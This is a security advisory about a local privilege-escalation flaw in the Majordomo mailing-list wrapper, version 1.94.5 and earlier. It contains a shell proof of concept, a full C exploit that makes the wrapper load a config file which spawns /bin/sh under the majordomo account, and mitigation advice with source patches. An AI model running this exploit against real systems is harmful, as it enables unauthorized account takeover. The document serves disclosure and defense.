COMMAND

    majordomo

SYSTEMS AFFECTED

    majordomo

PROBLEM

    Federico G. Schwindt found following.  Majordomo is a perl  script
    for  managing  mailing  lists.   The  package  comes  with several
    scripts and a program written  in C (wrapper) that runs  setuid to
    ensure  that  majordomo   performs  all  the   work  with   proper
    permissions (for further  information you can  check the FAQ  that
    comes with the package under Doc/).

    This wrapper is installed by default as root, mode 4755 and  group
    as the one used for majordomo.  What this means?  If you can  fool
    majordomo to run arbitrary commands,  they'll be run with uid  and
    gid equal to the one used for majordomo.

    Almost all of these scripts accept an optional configuration  from
    the  command  line,  which  is  loaded  and  evaluated  via perl's
    require keyword.

    This file is nothing else than perl code, thus creating a  special
    file with our commands and pointing it as the configuration of any
    of the affected scripts will result in the following (this applies
    to majordomo 1.94.5):

        $ cat /tmp/myconf
        system("/bin/sh");
        $ id
        uid=1000(fgsch) gid=1000(fgsch) groups=1000(fgsch), 0(wheel), 11(core)
        $ ./wrapper bounce-remind -C /tmp/myconf
        $ id
        uid=41(majordom) gid=41(majordom) groups=1000(fgsch), 0(wheel), 11(core)

    This is not new.   The same problem has  been seen in the  past in
    the majordomo  script shipped  with the  previous version, 1.94.4.
    Interesting enough, this  occurs on several  scripts: archive2.pl,
    bounce-remind, config-test, digest, majordomo, request-answer  and
    resend;  medit  under  bin/,  and  archive_mh.pl,  new-list,   and
    sequencer under Tools/ uses 'require'  in the same way, but  since
    the wrapper  only executes  those scripts  found in  the majordomo
    installation directory, they cannot be exploited.

    Just a quick 'n dirty "exploit" for the Majordomo-prob.   Probably
    usefull to Admins who  want to check (automatically)  their system
    with one  small script  ...   It's possible  to adapt this program
    easily - if you need to.

    /*
		    MAJORDOMO - EXPLOIT FÜR LINUX
		        getestet bis v1.94.5
		      programmiert von Morpheus

        Getestet wurde der Exploit auf SuSE Linux 6.0 / 6.3 (CeBIT-Version).

        Zur Kompilierung des Exploits:

    	    gcc major.c -o major

        Zur Nutzung des Exploits:

        Wenn der Exploit <major> heißt dann einfach ./major eingeben. Es
        sollte genügen. Wenn dann keine Shell gestartet wird, bitte die
        Fehlermeldungen beachten. Entweder ist die Majordomo-Version nicht
        "kompatibel" oder das Majordomo-Skript ist nicht vorhanden. Dann
        sollte man entweder ./major auto eingeben, so dass der Exploit
        alle verwundbaren Skripts ausprobiert, oder man gibt ./major <skript>
        ein, wobei <skript> durch ein verwundbares Majordomo-Skript zu ersetzen
        ist. Um die Hilfe-Übersicht zu bekommen, einfach ./major -h eingeben.


        Programmiert von Morpheus [BrightDarkness] '00
        URL:  www.brightdarkness.de
        Mail: morpheusbd@gmx.net


        Dieser Bug in Majordomo wurde nicht von mir entdeckt. Ich habe nur
        zu diesem Bug den entsprechenden Exploit programmiert.
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>

    #define MAJORDOMO	"/usr/lib/majordomo/wrapper"
    #define SHELL 		"system(\"/bin/sh\")"
    #define MORPHEUS	"/tmp/morpheus"
    #define WRAPPER		"wrapper"

    void intro(void);
    void usage(char *arg);

    int main(int argc, char **argv)
      {
        char skript[30];
        char *skripte[40];
        int i = 0;
        int file;

        skripte[1] = "bounce-remind";
        skripte[2] = "archive2.pl";
        skripte[3] = "config-test";
        skripte[4] = "digest";
        skripte[5] = "majordomo";
        skripte[6] = "request-answer";
        skripte[7] = "resend";

        if ((argc == 2) && (strcmp(argv[1], "-h") == 0))
          usage(argv[0]);

        if (argc == 2)
          strncpy(skript,argv[1], strlen(skript));
        else
          strcpy(skript, "bounce-remind");

        if ((file = open(MORPHEUS, O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0)
          {
            perror(MORPHEUS);
            exit(1);
          }
        write(file, SHELL, strlen(SHELL));
        close(file);

        intro();
        if (strncmp(skript, "auto") == 0)
          {
            for (i = 1; i <= 7; i++)
              {
                printf("using : %s\n", skripte[i]);
                if (execl(MAJORDOMO, WRAPPER, skripte[i], "-C", MORPHEUS, 0) == -1) perror("EXECL");
              }
          }
        else
          {
            printf("using : %s\n", skript);
            if (execl(MAJORDOMO, WRAPPER, skript, "-C", MORPHEUS, 0) == -1) perror("EXECL");
          }
        return 0;
      }

    void intro(void)
      {
        printf("\033[2J\033[1;1H");
        printf("\033[1;33mExploit-Code für Majordomo Wrapper <= v1.94.5\n");
        printf("\033[1;32mProgrammiert von Morpheus [BrightDarkness] '00\n");
        printf("\033[1;31mURL:  \033[1;32mwww.brightdarkness.de\n");
        printf("\033[1;31mmail: \033[1;32mmorpheusbd@gmx.net\n");
        printf("\033[0;29m");
      }

    void usage(char *arg)
      {
        intro();
        printf("\033[1;34m");
        printf("Hilfe für dieses Programm :\n");
        printf("Benutzung : %s -h           Help screen\n", arg);
        printf("            %s auto         Trying all scripts automatically\n", arg);
        printf("            %s <skriptname> Tries just this <script>\n", arg);
        printf("\033[0;29m");
        exit(0);
      }

SOLUTION

    This  came  up  in  January.   It's  also  well  documented in the
    majordomo FAQ:

        http://www.greatcircle.com/majordomo/majordomo-faq.html#wrapsec

    It is easily  possible to remove  'all' interactive access  to all
    the pieces of the majordomo software, even if you are using smrsh,
    without modifying the majordomo software itself.

        * set  the group  id in  majordomo's makefile  to group 'mail'
          (assuming you're the  same as RedHat  and mail is  delivered
          as mail.mail on your o/s - check it with a script that  runs
          'id')
        * remove world r-x on majordomo's home dir and its contents
        * remove world r-x on the list dir and its contents
        * still have the symbolic link to wrapper for smrsh to work if
          you have that installed with your sendmail

    Tested with majordomo 1.94-5 on RH-6.1 (sendmail8.9.3+smrsh)

    The obvious  fix is  to remove  this option  from all the involved
    scripts, but since  it can be  useful on large  sites with several
    mailing lists, we've choosen  instead to only allow  configuration
    files  from  a  trusted  directory,  removing  the problem without
    loosing functionality.  Diffs:

    --- majordomo-1.94.5/Makefile.orig	Tue Jan 18 11:01:17 2000
    +++ majordomo-1.94.5/Makefile	Tue May 23 07:05:24 2000
    @@ -63,7 +63,8 @@
     # passed to processes run by "wrapper"
     W_SHELL = /bin/sh
     W_PATH = /bin:/usr/bin:/usr/ucb
    -W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf
    +W_MAJORDOMO_CF = majordomo.cf
    +W_MAJORDOMO_CFDIR = $(W_HOME)/config

     # A directory for temp files..
     TMPDIR = /usr/tmp
    @@ -77,7 +78,8 @@

     WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" > \
 	    -DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \
    -	-DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\"      \
    +	-DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CFDIR)/$(W_MAJORDOMO_CF)\"
    \
    +	-DMAJORDOMO_CFDIR=\"MAJORDOMO_CFDIR=$(W_MAJORDOMO_CFDIR)\"      \
 	    $(POSIX)

     INSTALL = ./install.sh
    --- majordomo-1.94.5/archive2.pl.orig	Fri Jan  7 08:00:49 2000
    +++ majordomo-1.94.5/archive2.pl	Tue May 23 07:47:09 2000
    @@ -50,7 +50,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/contrib/archive_mh.pl.orig	Mon Mar 10 12:40:41 1997
    +++ majordomo-1.94.5/contrib/archive_mh.pl	Tue May 23 07:50:23 2000
    @@ -17,9 +17,9 @@
     $ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb";

     # Read and execute the .cf file
    -$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf";
    +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/bounce-remind.orig	Mon Dec  9 13:49:46 1996
    +++ majordomo-1.94.5/bounce-remind	Tue May 23 07:47:27 2000
    @@ -20,7 +20,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]";
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/config-test.orig	Wed Aug 27 12:17:13 1997
    +++ majordomo-1.94.5/config-test	Tue May 23 16:10:05 2000
    @@ -117,6 +117,8 @@
     print "\n\tNon obvious things that cause headaches:\n\n";
     &header('');

    +$ARGV[0] = ($ARGV[0] && $ARGV[0] !~ /\//) ?
    +    "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[0]" : '';
     $cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'};

     if (eval "require '$cf'") {
    --- majordomo-1.94.5/digest.orig	Fri Jan  7 08:04:34 2000
    +++ majordomo-1.94.5/digest	Tue May 23 16:02:49 2000
    @@ -322,6 +322,8 @@
 		    &abort("-C used without -l");
 	        } else {
 		    # Read and execute the .cf file
    +		$opt_c = ($opt_c && $opt_c !~ /\//) ?
    +		    "$ENV{'MAJORDOMO_CFDIR'}/$opt_c" : '';
 		    $cf = $opt_c || $ENV{"MAJORDOMO_CF"} ||
 		        "/etc/majordomo.cf";
 		    require "$cf";
    --- majordomo-1.94.5/majordomo.orig	Thu Jan 13 14:29:31 2000
    +++ majordomo-1.94.5/majordomo	Tue May 23 07:48:42 2000
    @@ -29,7 +29,7 @@

     while ($ARGV[0]) {	# parse for config file or default list
         if ($ARGV[0] =~ /^-C$/i) {	# sendmail v8 clobbers case
    -        $cf = $ARGV[1];
    +        $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~
    /\//;
             shift(@ARGV);
             shift(@ARGV);
         } elsif ($ARGV[0] eq "-l") {
    --- majordomo-1.94.5/medit.orig	Mon Apr 28 15:38:05 1997
    +++ majordomo-1.94.5/medit	Tue May 23 07:48:55 2000
    @@ -19,7 +19,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/contrib/new-list.orig	Mon Dec  9 13:50:45 1996
    +++ majordomo-1.94.5/contrib/new-list	Tue May 23 07:50:41 2000
    @@ -15,7 +15,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/request-answer.orig	Fri Jan  7 08:10:18 2000
    +++ majordomo-1.94.5/request-answer	Tue May 23 07:49:10 2000
    @@ -16,7 +16,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";>
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/resend.orig	Fri Jan  7 12:32:39 2000
    +++ majordomo-1.94.5/resend	Tue May 23 16:02:37 2000
    @@ -79,6 +79,9 @@
     }

     # Read and execute the .cf file
    +$cfdir = $ENV{"MAJORDOMO_CFDIR"};
    +$opt_C = ($opt_C && $opt_C !~ /\//) ? "$cfdir/$opt_C" : '';
    +$opt_c = ($opt_c && $opt_c !~ /\//) ? "$cfdir/$opt_c" : '';
     $cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";

     # Despite not having a place to send the remains of the body,
    --- majordomo-1.94.5/contrib/sequencer.orig	Mon Dec  9 13:50:48 1996
    +++ majordomo-1.94.5/contrib/sequencer	Tue May 23 07:50:58 2000
    @@ -48,7 +48,7 @@
     # Read and execute the .cf file
     $cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
     if ($ARGV[0] eq "-C") {
    -    $cf = $ARGV[1];
    +    $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
         shift(@ARGV);
         shift(@ARGV);
     }
    --- majordomo-1.94.5/wrapper.c.orig	Wed Aug 27 12:01:12 1997
    +++ majordomo-1.94.5/wrapper.c	Tue May 23 07:06:23 2000
    @@ -42,20 +42,27 @@
     #  define SHELL "SHELL=/bin/sh"
     #endif

    +#ifndef MAJORDOMO_CF
    +#  error "MAJORDOMO_CF not defined; edit Makefile"
    +#endif
    +
    +#ifndef MAJORDOMO_CFDIR
    +#  error "MAJORDOMO_CFDIR not defined; edit Makefile"
    +#endif
    +
     char * new_env[] = {
         HOME,		/* 0 */
         PATH,		/* 1 */
         SHELL,		/* 2 */
    -#ifdef MAJORDOMO_CF
         MAJORDOMO_CF,	/* 3 */
    -#endif
    +    MAJORDOMO_CFDIR,	/* 4 */
         0,		/* possibly for USER or LOGNAME */
         0,		/* possible for LOGNAME */
         0,          /* possibly for timezone */
         0
     };

    -int new_env_size = 7;				/* to prevent overflow problems */
    +int new_env_size = 8;				/* to prevent overflow problems */

     main(argc, argv, env)
         int argc;
    @@ -89,11 +96,7 @@
          *  if they exist.
          */

    -#ifdef MAJORDOMO_CF
    -    e = 4; /* the first unused slot in new_env[] */
    -#else
    -    e = 3; /* the first unused slot in new_env[] */
    -#endif
    +    e = 5; /* the first unused slot in new_env[] */

         for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) {
 	    if ((strncmp(env[i], "USER=", 5) == 0) ||
    @@ -153,5 +156,6 @@
         fprintf(stderr, "    PATH is %s,\n", PATH);
         fprintf(stderr, "    SHELL is %s,\n", SHELL);
         fprintf(stderr, "    MAJORDOMO_CF is %s\n", MAJORDOMO_CF);
    +    fprintf(stderr, "    MAJORDOMO_CFDIR is %s\n", MAJORDOMO_CFDIR);
         exit(EX_OSERR);
     }

    MAJORDOMO_CFDIR points to the trusted directory.  You should store
    all the configuration files there. Be sure that is pointing to the
    correct  place  or  majordomo  won't  work.   We've  also modified
    wrapper.c to barf if neither MAJORDOMO_CF nor MAJORDOMO_CFDIR  are
    defined, since  there is  no point  in using  it otherwise, plus a
    few other minor paranoia changes...

    This issue addressed by the recommended procedure at the very  top
    of the INSTALL file?   It recommends installing majordomo only  on
    a  secure  server  without  user  logins,  or  else  chmod 750 the
    majordomo home directory.

    Debian  recommendes  that  you  replace  majordomo with one of the
    many other mailing-list  tools available such  as fml, mailman  or
    smartlist.

    For FreeBSD deinstall the majordomo port/package, if you you  have
    installed it, or limit the permissions of the  majordomo/directory
    and/or its contents appropriately (see below).

    Since the vendor has chosen not to fix the various security  holes
    in  the  default  installation  of  majordomo,  there is no simple
    solution. It may  be  possible to adequately secure the  majordomo
    installation   while   retaining   required   functionality,    by
    tightening the permissions  on the /usr/local/majordomo  directory
    and/or  its  contents,  but  these  actions  are  not taken by the
    FreeBSD port and are beyond  the scope of this advisory.   Instead
    FreeBSD recommends that  majordomo not be  used on a  system which
    contains untrusted users,  or an alternative  mailing-list manager
    be used.   There are several  such utilities in  the FreeBSD ports
    collection.